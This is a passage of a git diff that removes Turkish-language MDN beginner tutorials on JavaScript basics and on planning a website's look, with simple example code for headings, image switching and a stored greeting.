kurulur?</font></font></a></p> - -<p><font><font>{{NextMenu ("Öğrenmek / Almak_started_with_the_web / What_will_your_website_look_like", "Öğrenmek / Getting_started_with_the_web")}}</font></font></p> diff --git a/files/tr/learn/getting_started_with_the_web/javascript_basics/index.html b/files/tr/learn/getting_started_with_the_web/javascript_basics/index.html deleted file mode 100644 index 0bfe47464d..0000000000 --- a/files/tr/learn/getting_started_with_the_web/javascript_basics/index.html +++ /dev/null @@ -1,387 +0,0 @@ ---- -title: JavaScript'in Temelleri -slug: Learn/Getting_started_with_the_web/JavaScript_basics -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics -original_slug: Öğren/Getting_started_with_the_web/JavaScript_basics ---- -<div>{{LearnSidebar}}</div> - -<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> - -<div class="summary"> -<p>Javascript web sitelerine etkileşimler ekleyebilen bir programlama dilidir. Javascript ile web sitenize oyunlar, düğmeye basıldığında, forma odaklanıldığında kullanıcıyla geçilecek etkileşimi ekleyebilirsiniz. bu makale size Javascript ile başlangıç için bir fikir verecek ve bu dil ile neler yapılabileceği hakkında yardımcı olacaktır.</p> -</div> - -<h2 id="JavaScript_nedir">JavaScript nedir?</h2> - -<p>{{Glossary("JavaScript")}} (Kısaca "JS" ) Tam teşekküllü {{Glossary("Dynamic programming language", "dinamik programlama dili")}}dir. Bir {{Glossary("HTML")}} dökümanına uygulandığında, kullanıcı ile dinamik etkileşimler yaratır. Javascript Brendan Eich tarafından yaratılmıştır, aynı zamanda Brendan Mozilla projesinin, Mozilla vakfının ve Mozilla şirketinin kurucu ortağıdır.</p> - -<p>Javascript ile aslında aklınıza gelen her şeyi yapabilirsiniz. Karosel (kayar resim menüleri) gibi küçük şeylerden başlayıp, fotoğraf galerileri, harika arayüzler ve düğmeye tıklamaya verilecek cevaba kadar her şeyi yapacaksınız. Hatta, dil üzerinde tecrübe kazandığınızda 2B ve 3B oyunlar ve veritabanı kullanan uygulamalar yapabileceksiniz.</p> - -<p>Javascript küçük bir dil olmasına rağmen çok esnektir ve geliştiriciler, Javascript çekirdeği üzerine çok fazla araç geliştirmiştir. Bu araçlar kullanılarak pek çok sorunu çok az efor harcayarak çözebilirsiniz. Örneğin:</p> - -<ul> - <li>({{Glossary("API","APIs")}}) web tarayıcılar için geliştirilmiş, çok çeşitli HTML oluşturma ve CSS güncelleme araçları, kullanıcıların web kemaralarında yayın alıp bunları okumak, 3 boyutlu grafikler ve ses örnekleri yaratmak üzere hazırlanmış Application Programming Interfaces (uygulama geliştirme arayüzleri) vardır.</li> - <li>Geliştiricilerin, siteleri ile Twitter ve Facebook arası ortak fonksiyonlar kullanmasını kullanmak üzere 3. parti API'ler.</li> - <li>HTML'ye uygulayabileceğiniz, çok hızlı bir şekilde web siteleri inşa etmenize yarayacak 3. parti kütüphaneler.</li> -</ul> - -<h2 id="Bir_Merhaba_dünya!_örneği">Bir <em>Merhaba dünya!</em> örneği</h2> - -<p>Başlık sizi çok heycanlandırmış olmalı, heycanlandırmalı da — JavaScript, en heyecan verici web teknolojilerinden biri ve siz JavaScript üzerinde uzmanlaştıkça, websiteleriniz yeni bir boyut ve güç kazanacaktır.</p> - -<p>Ancak, JavaScript HTML ve CSS'ye göre biraz daha zor bir teknolojidir. Öncelikle ufak uygulama ve örneklerle başlamalı daha sonra küçük adımlarla ilerlemelisiniz. Şimdi size çok basit bir Javascript kodunu sayfanıza nasıl dahil edeceğiniz, nasıl bir "merhaba dünya" örneğini nasıl yapacağınızı göstereceğiz.(<a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">Programlamada standart, basit bir önek</a>)</p> - -<div class="warning"> -<p><strong>Önemli</strong>: Eğer bu dersi bizimle takip etmeyecekseniz, örnek kodu bir başlangıç olarak <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">bilgisayarınıza indirin</a>.</p> -</div> - -<ol> - <li>Önce test sitenizin olduğu klasöre gidip,<code> scripts</code> isimli bir klasör açın ve içine <code>main.js</code> adında bir dosya yaratın.</li> - <li>Sonra, index.html dosyasının içine gidin ve </body> etiket bitiminden bir önceki satıra bu kodu ekleyin: - <pre class="brush: html notranslate"><script src="scripts/main.js"></script></pre> - </li> - <li>Bu kod CSS'de {{htmlelement("link")}} elementi ne işe yarıyorsa aynısını yapıyor. Javascripti sayfaya dahil eder ve bu sayede Javascript kodunuz sayfa üzerinde bir etkiye sahip olur.</li> - <li>Şimdi bu kodu <code>main.js</code> dosyanıza ekleyin. - <pre class="brush: js notranslate">var myHeading = document.querySelector('h1'); -myHeading.textContent = 'Hello world!';</pre> - </li> - <li>Şimdi HTML ve Javascript dosyalarınızın kaydedildiğinden emin olun ve index.html dosyanızı tarayıcıya yükleyin. Aşağıdakine benzer bir şey görmelisiniz.<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: {{htmlelement("script")}} Elementini neredeyse dosyanın en sonuna koymamızın nedeni, HTML'nin tarayıcı tarafından dosyada göründüğü sırayla yüklenmesidir.JavaScript önce yüklenir ve altındaki HTML'yi etkilemesi beklenirse, JavaScript çalışması beklenen HTML'den önce yükleneceğinden, bu işe yaramayabilir. Bu nedenle, JavaScript'i HTML sayfasının altına koymak genellikle en iyi stratejidir.</p> -</div> - -<h3 id="Ne_oldu">Ne oldu?</h3> - -<p>Evet, başlık metniniz "<em>Hello world!</em>" olarak değiştirildi ve bunu Javascript yaptı! Bunu {{domxref("Document.querySelector", "querySelector()")}} fonksiyonunu çağırarak yaptık, bu fonksiyon bize o elemente ait bir referans getirdi ve biz bunu <code>myHeading</code> isimli bir değişkene kaydettik. Aslında bu CSS'de seçicilerle yaptığımız işlemin aynısı. Bir element üzerinde değişiklik yapmak istiyorsanız, önce o elementi seçmelisiniz.</p> - -<p>Sonra, myHeading değişkeninin {{domxref("Node.textContent", "textContent")}} özelliğini, (başlığın içeriğini taşıyan özellik) "<em>Hello world!</em>" olarak değiştirdik.</p> - -<h2 id="Hızlandırılmış_Dil_Temelleri_Kursu">Hızlandırılmış Dil Temelleri Kursu</h2> - -<p>Javascript'İ daha iyi anlamanız içim şimdi size dilin temel özelliklerini göstereceğiz. Ne güzel ki, bu özellikler pek çok programlama dilinin ortak özellikleridir. Bu temel kavramları anlayabilirseniz, istediğiniz şeyleri gerçekleştirebilmek adına programlamaya başlamış olacaksınız.</p> - -<div class="warning"> -<p><strong>Önemli</strong>: Bu makaledeki örnek kodları Javascript komut sistemine yazıp ne olacağını görmelisiniz. Javascript Console hakkında <a href="/en-US/Learn/Discover_browser_developer_tools">daha fazla bilgi alın</a>.</p> -</div> - -<h3 id="Değişkenler">Değişkenler</h3> - -<p>{{Glossary("Variable", "Variables")}} Değişkenler, değeleri saklayabileceğiniz kaplardır. Bir değişkeni tanımlamaya <code>var</code> anahtar kelimesi kullanarak başlarsınız, ardından da değişkene vermek istediğiniz ismi yazarsınız.</p> - -<pre class="brush: js notranslate">var myVariable;</pre> - -<div class="note"> -<p><strong>Not</strong>: Javascript'teki bütün ifadeler noktalı virgül ile bitmelidir. Eğer noktalı virgül koymaysanız, beklenmeyen sonuçlarla karşılaşabilirsiniz.</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Seçilmiş anahtar kelimeler dışında değişkenlerinize istediğiniz ismi verebilirsiniz. (lütfen d<a href="http://www.codelifter.com/main/tips/tip_020.shtml">eğişken isimlendirme kuralları makalesini okuyun</a>)</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Javascript büyük-küçük karakterler konusunda hassas bir dildir. Bu nedenle degisken ve Degisken aynı şey değildir. Eğer problemler yaşıyorsanız, büyük küçük harf problemlerinizi kontrol edin.</p> -</div> - -<p>Bir değişkeni tanımladıktan sonra ona bir değer verebilirsiniz.</p> - -<pre class="brush: js notranslate">myVariable = 'Bob';</pre> - -<p>Bunları dilerseniz aynı satırda yapabilirsiniz.</p> - -<pre class="brush: js notranslate">var myVariable = 'Bob';</pre> - -<p>Bu değişkenin değlerini sadece ismini yazarak çağırabilirsiniz.</p> - -<pre class="brush: js notranslate">myVariable;</pre> - -<p>Bir değişkene bir değer verdikten sonra bu değeri değiştirebilirsiniz.</p> - -<pre class="notranslate">var myVariable = 'Bob'; -myVariable = 'Steve';</pre> - -<p>Bütün verilerin farklı <a href="/en-US/docs/Web/JavaScript/Data_structures">veri tipleri</a> olduğunu unutmayın.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row">Değişken</th> - <th scope="col">Açıklama</th> - <th scope="col">Örnek</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">{{Glossary("String")}}</th> - <td>Metin, bir değişkeni metin olarak tanımlamak için değeri tırnak içerisine alın.</td> - <td><code>var myVariable = 'Bob';</code></td> - </tr> - <tr> - <th scope="row">{{Glossary("Number")}}</th> - <td>Sayılar tırnak içerisinde olmaya ihtiyaç duymazlar.</td> - <td><code>var myVariable = 10;</code></td> - </tr> - <tr> - <th scope="row">{{Glossary("Boolean")}}</th> - <td>Doğru/Yanlış değeri. True ve false Javascript'in anahtar kelimeleridir ve tırnağa ihtiyaç duymazlar.</td> - <td><code>var myVariable = true;</code></td> - </tr> - <tr> - <th scope="row">{{Glossary("Array")}}</th> - <td>Pek çok veriyi tek bir referans altında saklamanıza yarayan bir yapı.</td> - <td><code>var myVariable = [1,'Bob','Steve',10];</code><br> - Dizinin her üyesine şu şekilde bakın:<br> - <code>myVariable[0]</code>, <code>myVariable[1]</code>, vs.</td> - </tr> - <tr> - <th scope="row">{{Glossary("Object")}}</th> - <td>Temel olarak, Javascriptteki her şey birer nesnedir ve bir değişkende saklanabilir. Javascript öğrendiğiniz sürece bunu aklınızdan çıkarmayın.</td> - <td><code>var myVariable = document.querySelector('h1');</code><br> - Yukarıdaki örneklerin hepside.</td> - </tr> - </tbody> -</table> - -<p>Peki neden değişkenlere ihtiyaç duyuyoruz? Programlamada her şeyi yapmak için değişkenlere ihtiyaç duyarız. Eğer değerleri değiştiremezsek, dinamik bir sonuç elde edemeyiz. Örneğin kişisel bir selamlama yazısı üretemeyiz ya da gösterilmekte olan fotoğrafı değiştiremeyiz.</p> - -<h3 id="Yorumlar">Yorumlar</h3> - -<p>CSS'de olduğu gibi Javascript kodunuza da yorumlar koyabilirsiniz.</p> - -<pre class="brush: js notranslate">/* -Aralarındaki her şey birer yorumdur. -*/</pre> - -<p>Eğer çok satırlı yorum yazmaya ihtiyaç yoksa, iki bölü işareti ile yorum koyabilirsiniz.</p> - -<pre class="brush: js notranslate">// Bu bir yorumdur. -</pre> - -<h3 id="Operatörler.">Operatörler.</h3> - -<p>{{Glossary("operator")}} İki değer arası işlemden bir sonuç üreten matematiksel bir semboldür. Aşağıdaki tabloda bazı basit operatörleri görebilirsiniz. Bunları Javascript Console'unda deneyin.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row">Operatör</th> - <th scope="col">Açıklama</th> - <th scope="col">Sembol</th> - <th scope="col">Örnek</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Toplama / Birleştir</th> - <td>İki sayıyı toplamak ve iki String'i birleştirmek için kullanılır.</td> - <td><code>+</code></td> - <td><code>6 + 9;<br> - "Hello " + "world!";</code></td> - </tr> - <tr> - <th scope="row">Çıkarma, Çarpma, Bölme</th> - <td>Bunlar, Temel Matematikteki işlemlerin aynısını yapar.</td> - <td><code>-</code>, <code>*</code>, <code>/</code></td> - <td><code>9 - 3;<br> - 8 * 2; // multiply in JS is an asterisk<br> - 9 / 3;</code></td> - </tr> - <tr> - <th scope="row">Atama Operatörü</th> - <td>Bunu daha önce gördünüz, bir değeri diğerine atar</td> - <td><code>=</code></td> - <td><code>var myVariable = 'Bob';</code></td> - </tr> - <tr> - <th scope="row">Eşitlik Operatörü</th> - <td>İki değerin birbirne eşit olup olmadığını test eder ve <code>true</code>/<code>false</code> döndürür</td> - <td><code>===</code></td> - <td><code>var myVariable = 3;<br> - myVariable === 4;</code></td> - </tr> - <tr> - <th scope="row">Olumsuzluk / Eşitizlik</th> - <td>Değerin tam tersini döndürür, true'yu false çevirir vb. Eşitsizlik operatörü de, iki değerin eşit olmamasını test eder.</td> - <td><code>!</code>, <code>!==</code></td> - <td> - <p>Temel ifade <code>true</code>'dur, ama karşılaştırma <code>false</code> döndürür. çünkü onu reddettik:</p> - - <p><code>var myVariable = 3;<br> - !(myVariable === 3);</code></p> - - <p>Burada test ediyoruz "<code>myVariable</code> 3'e eşit değil". Bu<code> false</code> döndürür çünkü<code>myVariable</code> 3'e eşittir.</p> - - <p><code><code>var myVariable = 3;</code><br> - myVariable !== 3;</code></p> - </td> - </tr> - </tbody> -</table> - -<p>Bunların dışında da operatörler vardır. <a href="/en-US/docs/Web/JavaScript/Reference/Operators">İfadeler ve operatörler makalesinden</a>, bütün operatörler listesini inceleyebilirsiniz.</p> - -<div class="note"> -<p><strong>Not</strong>: Veri türlerini karıştırmak, hesaplamalar yaparken bazı garip sonuçlar doğurabilir, bu nedenle değişkenlerinizi doğru bir şekilde belirttiğinizden ve beklediğiniz sonuçları elde ettiğinizden emin olun. Örneğin, konsolunuza "35" + "25" girin. Neden beklediğiniz sonuca ulaşmıyorsunuz? Tırnak işaretleri sayıları dizelere dönüştürdüğünden, sayı eklemeden dizeleri bitiştirdiğinizden emin olun. 35 + 25 girerseniz, doğru sonucu elde edersiniz.</p> -</div> - -<h3 id="Koşul_İfadeleri">Koşul İfadeleri</h3> - -<p>Koşul ifadeleri, bir ifadenin değerinin <code>true </code>veya <code>false</code> olup olmadığını kontrol eder. Buna bağlı olarak farklı kodlar çalıştırılabilir. En temel ve en çok kullanılan tip <code>if... else </code>yapısıdır. Örneğin:</p> - -<pre class="brush: js notranslate">var iceCream = 'chocolate'; -if (iceCream === 'chocolate') { - alert('Yay, I love chocolate ice cream!'); -} else { - alert('Awwww, but chocolate is my favorite...'); -}</pre> - -<p>i<code>f(...) </code>ifadesinin içindeki ifade, (eşitlik operatörü ile test edilir) <code>iceCream</code> değişkenini '<code>chocolate' </code>değeri ile karşılaştırır ve <code>true</code> olduğunu bulur. Eğer sonuç doğruysa, ilk bloktaki kod çalıştırılır eğer ifade yanlışsa ilk blok atlanır ve <code>else</code> bloğu içerisindeki kod çalıştırılır.</p> - -<h3 id="Fonksiyonlar">Fonksiyonlar</h3> - -<p>{{Glossary("Function", "Functions")}} Daha sonra kullanmak istediğiniz bir dizi işlemi paketlemeye yarar. Yani ne zaman aynı işlemi yaptırmak isterseniz bu fonksiyonu çağırabilirsiniz. Bu sizin aynı kodları tekrar yazmanızın önüne geçecektir. Örneğin önceden tanımlanmış iki fonksiyon:</p> - -<ol> - <li> - <pre class="brush: js notranslate">var myVariable = document.querySelector('h1');</pre> - </li> - <li> - <pre class="brush: js notranslate">alert('hello!');</pre> - </li> -</ol> - -<p>Bu fonksiyonlar, tarayıcıların içerisinde tanımlanmıştır ve istediğiniz zaman kullanabilirsiniz.</p> - -<p>Eğer bir ifade görürseniz ve sonrasında parantezler -()- varsa bu büyük ihtimalle bir fonksiyondur. Fonksiyonlar bazen argümanlar alır. {{Glossary("Argument", "arguments")}} Argümanlar, fonksiyonların işlerliğini yerine getirmek için gereksinim duyduğu verilerdir. Eğer birden çok veriye ihtiyaç duyuluyorsa argümanlar virgül ile ayrılır.</p> - -<p>Örneğin, <code>alert()</code> fonksiyonu, tarayıcı penceresi içerisinde bir pop-up kutusu gösterir. Ancak biz bu fonksiyona göstermesi için bir String vermeliyiz.</p> - -<p>İyi haber, siz de kendi fonksiyonlarınızı tanımlayabilirsiniz. Sıradaki örnekte kendi fonksyionunuzu yazacaksınız, bu fonksiyon aldığı iki argümanı çarparak değelerini döndürür.</p> - -<pre class="brush: js notranslate">function multiply(num1,num2) { - var result = num1 * num2; - return result; -}</pre> - -<p>Üstteki fonksiyonu konsolda tanımlayıp kullanmayı deneyin:</p> - -<pre class="brush: js notranslate">multiply(4,7); -multiply(20,20); -multiply(0.5,3);</pre> - -<div class="note"> -<p><strong>Not</strong>: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a> ifadesi, tarayıcıya, result değişkenini geri döndürmesi gerektiğini gösterir. Bu sayede işlem sonucu fonksiyon dışında kullanılabilir. Bu değişkenlerin tanımlandığı fonksiyonun dışında tanımsız olmasından kaynaklanır. Bu değişken{{Glossary("Scope", "scoping")}} olarak tanımlanır. Değişken tanım aralığı hakkında <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">daha fazla bilgi edinin</a>.</p> -</div> - -<h3 id="Olaylar">Olaylar</h3> - -<p>Websiteniz ile etkileşimler yaratmak için olaylara ihtiyaç duyarsınız. Bu kod yapıları, tarayıcıda gerçekleşen olayları dinler ve tanımlanan kodları gerektiğinde çağırır. En çok kullanılan örneği <a href="/tr/docs/Web/Events/click">tıklama olayı</a>dır, bu olay, fare bir şeye tıkladığında tetiklenir. Örneğin sayfadaki herhangi bir yere tıklandığında ne olacağını aşağıdaki örnek ile düzenleyebilirsiniz.</p> - -<pre class="brush: js notranslate">document.querySelector('html').onclick = function() { - alert('Ouch! Stop poking me!'); -}</pre> - -<p>Bir olayı bir elemente tanımlamanın pek çok değişik yolu vardır. Örneğin yukarı da önce {{htmlelement("html")}} elementi seçtik, ve <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.onclick">onclick</a> olayını anonim (i.e. nameless) bir fonksiyona atadık. Bu anonim fonksiyon tıklandığında ne olacağını gösteriyor.</p> - -<p>Bu örnek</p> - -<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre> - -<p>Bunun aynısı.</p> - -<pre class="brush: js notranslate">var myHTML = document.querySelector('html'); -myHTML.onclick = function() {};</pre> - -<p>Sadece daha kısası.</p> - -<h2 id="Web_sitemizi_harikalaştırmak">Web sitemizi harikalaştırmak</h2> - -<p>Şimdiye kadar Javascript temellerini anlattık. Şimdi örnek websitemize bazı havalı özellkler ekleyelim.</p> - -<h3 id="Fotoğraf_değiştirici_eklemek">Fotoğraf değiştirici eklemek</h3> - -<p>Bu örnekte, web sitemize, başka bir fotoğraf ekleyeceğiz ve bu iki imajın tıklandığında değişmesi için bazı Javascript kodları ekleyeceğiz.</p> - -<ol> - <li>Öncelikle web siteniz için aynı boyutlu ya da yakın boyutlarda bir fotoğraf bulun.</li> - <li>Bu fotoğrafı <code>images</code> klasörüne ekleyin.</li> - <li>Bu resmi 'firefox2.png' (tırnak işaretleri olmadan) olarak yeniden adlandırın.</li> - <li> <code>main.js</code> dosyasını açın ve aşağıdaki kodları ekleyin. (Eğer "Hello world!" kodları hala bu dosyadaysa, silin.) - <pre class="brush: js notranslate">var myImage = document.querySelector('img'); - -myImage.onclick = function() { - var mySrc = myImage.getAttribute('src'); - if(mySrc === 'images/firefox-icon.png') { - myImage.setAttribute ('src','images/firefox2.png'); - } else { - myImage.setAttribute ('src','images/firefox-icon.png'); - } -}</pre> - </li> - <li>Bütün dosyaları kaydedin ve tarayıcınızda <code>index.html</code> dosyasını açın.Şimdi resime tıkladığınızda diğer resime değişmeli.</li> -</ol> - -<p>Buraya kadar, img elementimizin src özelliğini <code>myImage</code> değişkeninde saklıyoruz. Sonra değişkenin <code>onclick</code> olayını bir anonim fonksiyona bağlıyoruz. Artık elemente her tıklandığında:</p> - -<ol> - <li>Fotoğrafın <code>src</code> özelliğini getiriyoruz.</li> - <li>İlk görsel ile aynı olup olmadığını anlamak için şartlı kontrol uyguluyoruz. Koşulumuz, src değerinin ilk görselin dosya yoluan eşit olup olmaması. - <ol> - <li>Öyleyse, ikinci görsele değiştiriyoruz. Bu sayede {{htmlelement("image")}} elementinin gösterdiği görsel değişiyor.</li> - <li>Değilse (yani değiştirdiysek), <code>src</code> değerine orjinal değeri atıyoruz ve bu sayede görsel ilk haline geliyor.</li> - </ol> - </li> -</ol> - -<h3 id="Kişiselleştirilmiş_Merhaba_Mesajı_Eklemek">Kişiselleştirilmiş Merhaba Mesajı Eklemek</h3> - -<p>Sırada biraz daha kod eklemek var. Kullanıcı siteye ilk girdiğinde sitenin başlığını kişiselleştirilmiş merhaba mesajı ile değiştireceğiz. Bu hoş geldiniz mesajı, kullanıcının siteden ayrılması ve daha sonra geri dönmesi durumunda devam eder - Web Depolama API'sini kullanarak kaydedeceğiz. Ayrıca, kullanıcıyı ve dolayısıyla hoş geldiniz mesajını gerektiğinde değiştirmek için bir seçenek de oluşturacağız.</p> - -<ol> - <li>index.html dosyasında, {{htmlelement("script")}} elementini aşağıdaki satırdan önce ekleyin. - <pre class="brush: html notranslate"><button>Change user</button></pre> - </li> - <li>main.js dosyasına, yazılan kodu olduğu gibi dosyanın en altına ekleyin. Bu kod satırları yeni buton ve başlığı referans alarak değişkenlerin içinde depolar. - <pre class="brush: js notranslate">var myButton = document.querySelector('button'); -var myHeading = document.querySelector('h1');</pre> - </li> - <li>Kişiselleştirilmiş merhaba'yı eklemek için sıradaki fonksiyonu oluşturun - bu şu anlık hiçbir şey yapmayacak fakat biraz sonra bunu düzelteceğiz. - <pre class="brush: js notranslate">function setUserName() { - var myName = prompt('Please enter your name.'); - localStorage.setItem('name', myName); - myHeading.textContent = 'Mozilla is cool, ' + myName; -}</pre> - - <p>Bu fonksiyon <code>alert()</code> gibi ekrana bir diyalog kutusu getiren bir <code>prompt() </code>fonksiyonunu içerir. Bu prompt() fonksiyonu kullanıcının bilgi girişi yapmasını ister ve kullanıcı<strong> Tamam</strong> dediği anda bu bilgiyi bir değişken'de saklar. Bu arada biz kullanıcıdan kendi ismini girmesini istiyoruz. Daha sonra tarayıcı'da bilgi saklamamızı ve daha sonra geri almamızı sağlayan localStorage API'ını çağırıyoruz. Kullanıcıdan aldığımız <code>'name' </code>verisini oluşturmak ve saklamak için localStorage'in <code>setItem() </code>fonksiyonunu kullanıyoruz ve kullanıcının girmiş olduğu bu veriyi myName değişkenine atıyoruz. Sonunda, başlığın <code>textContent</code> değişkenini ve kullanıcının saklanmış verisini başlık olarak ayarladık.</p> - </li> - <li>Next, add this <code>if ... else</code> block — we could call this the initialization code, as it sets up the app when it first loads: - <pre class="brush: js notranslate">if(!localStorage.getItem('name')) { - setUserName(); -} else { - var storedName = localStorage.getItem('name'); - myHeading.textContent = 'Mozilla is cool, ' + storedName; -}</pre> - This block first uses the negation operator (logical NOT) to check whether the <code>name</code> data item exists. If not, the <code>setUserName()</code> function is run to create it. If so (that is, the user set it during a previous visit), we retrieve the stored name using <code>getItem()</code> and set the <code>textContent</code> of the heading to a string, plus the user's name, the same as we did inside <code>setUserName()</code>.</li> - <li>Finally, put the below <code>onclick</code> event handler on the button, so that when clicked the <code>setUserName()</code> function is run. This allows the user to set a new name whenever they want by pressing the button: - <pre class="brush: js notranslate">myButton.onclick = function() { - setUserName(); -} -</pre> - </li> -</ol> - -<p>Now when you first visit the site, it'll ask you for your username then give you a personalized message. You can then change the name any time you like by pressing the button. As an added bonus, because the name is stored inside localStorage, it persists after the site is closed down, so the personalized message will still be there when you open the site up again!</p> - -<h2 id="Sonuç">Sonuç</h2> - -<p>Eğer yukarıda belirtilen talimatların tamamını uyguladıysanız, aşağıda bulunan görseldeki gibi bir sonuç elde etmiş olmalısınız: (dilerseniz bizim versiyonumuzu da <a href="https://mdn.github.io/beginner-html-site-scripted/">buradan</a> inceleyebilirsiniz)</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p> - -<p>If you get stuck, you can always compare your work with our <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">finished example code on Github</a>.</p> - -<p>Here, we have only really scratched the surface of JavaScript. If you have enjoyed learning about it and want to go deeper with your studies, go to our <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>.</p> - -<p>{{PreviousNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website")}}</p> diff --git a/files/tr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/tr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html deleted file mode 100644 index 7b7400f21f..0000000000 --- a/files/tr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Web siteniz nasıl görünecek -slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like -translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like -original_slug: Öğren/Getting_started_with_the_web/Web_siteniz_nasil_gorunecek ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div> - -<div class="summary"> -<p><em>Web siten nasıl görünecek? Bu konu sitenizi kodlamaya başlamadan önce ''Web sitem hangi bilgileri sunacak?'',''Hangi renkleri ve yazı tiplerini kullanacağım?'' ve ''Web sitem ne yapacak?'' gibi konuları ele alarak web sitesi planlamasını ve tasarımını inceler.</em></p> -</div> - -<h2 id="Herşeyden_önce_Planlama">Herşeyden önce: Planlama</h2> - -<p>Her ne yapacaksanız önce bazı fikirlere ihtiyacınız var.Siten tam olarak ne yapmalı? Bir web sitesi temel olarak herşeyi yapabilir, fakat ilk denemenizde işlemi basit tutmalısınız . İlk olarak bir başlık, bir resim ve birkaç paragraf içeren basit bir web sitesi oluşturacağız.</p> - -<p>Başlangıç olarak bu sorulara cevap bulmalısınız: </p> - -<ol> - <li><strong>Web siten ne hakkında? </strong>Köpekleri, Newyork'u ya da Pacman'i severmisiniz?</li> - <li><strong>Temada ne tür bilgiler sunuyorsun? </strong>Bir başlık ve birkaç paragraf yaz. Sayfanda göstermek istediğin resimi düşün.</li> - <li>Basit ve ileri seviyede terimlerle <strong>Web siten nasıl görünecek?</strong> Arkaplan rengi ne olacak? Hangi yazı tipi uygun: resmi, çizgi film, kalın ya da ince? </li> -</ol> - -<div class="note"> -<p><span style="font-size: 14px;"><strong>Not:</strong></span> Complex projects need detailed guidelines that go into all the details of colors, fonts, spacing between items on a page, appropriate writing style, and so on. This is sometimes called a design guide or a brand book, and you can see an example at the <a href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Guidelines</a>.</p> -</div> - -<h2 id="Tasarımınızın_taslağını_çıkarmak">Tasarımınızın taslağını çıkarmak</h2> - -<p>Bir kalem ve kağıt alın ve sitenizin nasıl görünmesini istiyorsanız kabaca çizin. İlk basit siteniz için çizecek çok şey yok, ama bunu yapma alışkanlığını şimdi edinmelisiniz. Bu gerçekten yardımcı oluyor. --Van Gogh olmanıza gerek yok!</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p> - -<div class="note"> -<p><strong>Note</strong>: Even on real, complex websites, the design teams usually start out with rough sketches on paper, and later on build digital mockups using a graphics editor or web technologies.</p> - -<p>Web teams often include both a graphic designer and a {{Glossary("UX", "user-experience")}} (UX) designer. Graphic designers, obviously, put together the visuals of the website. UX designers have a somewhat more abstract role addressing how users will experience and interact with the website.</p> -</div> - -<h2 id="İçeriği_seçmek">İçeriği seçmek</h2> - -<p>Bu noktada, sitenizde görünecek içeriği bir araya getirmeye başlamak iyidir.</p> - -<h3 id="Metin">Metin</h3> - -<p>You should still have your paragraphs and title from earlier. Keep these close by.</p> - -<h3 id="Theme_color">Theme color</h3> - -<p>To choose a color, go to <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">the Color Picker</a> and find a color you like. When you click on a color, you'll see a strange six-character code like <code>#660066</code>. That's called a <em>hex(adecimal) code</em>, and represents your color. Copy the code down somewhere safe for now.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="height: 262px; width: 448px;"></p> - -<h3 id="Images">Images</h3> - -<p>To choose an image, go to <a href="https://www.google.com/imghp?gws_rd=ssl">Google Images</a> and search for something suitable.</p> - -<ol> - <li>When you find the image you want, click on the image.</li> - <li>Press the <em>View image</em> button.</li> - <li>On the next page, right-click the image (Ctrl + click on a Mac), choose <em>Save Image As...</em>, and choose a safe place to save your image. Alternatively, copy the image's Web address from your browser's address bar for later use.</li> -</ol> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8985/Screenshot%20from%202014-11-04%2015:09:21.png" style="height: 293px; width: 420px;"></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8989/Screenshot%20from%202014-11-04%2015:20:48.png" style="height: 292px; width: 340px;"></p> - -<div class="note"> -<p><strong>Note</strong>: Most images on the Web, including in Google Images, are copyrighted. To reduce your likelihood of violating copyright, you can use Google's license filter. Just 1) click on <strong>Search tools</strong>, then on 2) <strong>Usage rights</strong>:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8981/Screenshot%20from%202014-11-04%2014:27:45.png" style="height: 195px; width: 587px;"></p> -</div> - -<h3 id="Font">Font</h3> - -<p>To choose a font:</p> - -<ol> - <li>Go to <a href="http://www.google.com/fonts">Google Fonts</a> and scroll down the list until you find one you like. You can also use the controls on the right to further filter the results.</li> - <li>Click the "plus" (Add to) icon next to the font you want.</li> - <li>Click the "* Family Selected"<em> </em>button in the panel at the bottom of the page ("*" depends on how many fonts you selected).</li> - <li>In the popup box, you can see and copy the lines of code Google gives you into your text editor to save for later.</li> -</ol> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13871/font1.png" style="height: 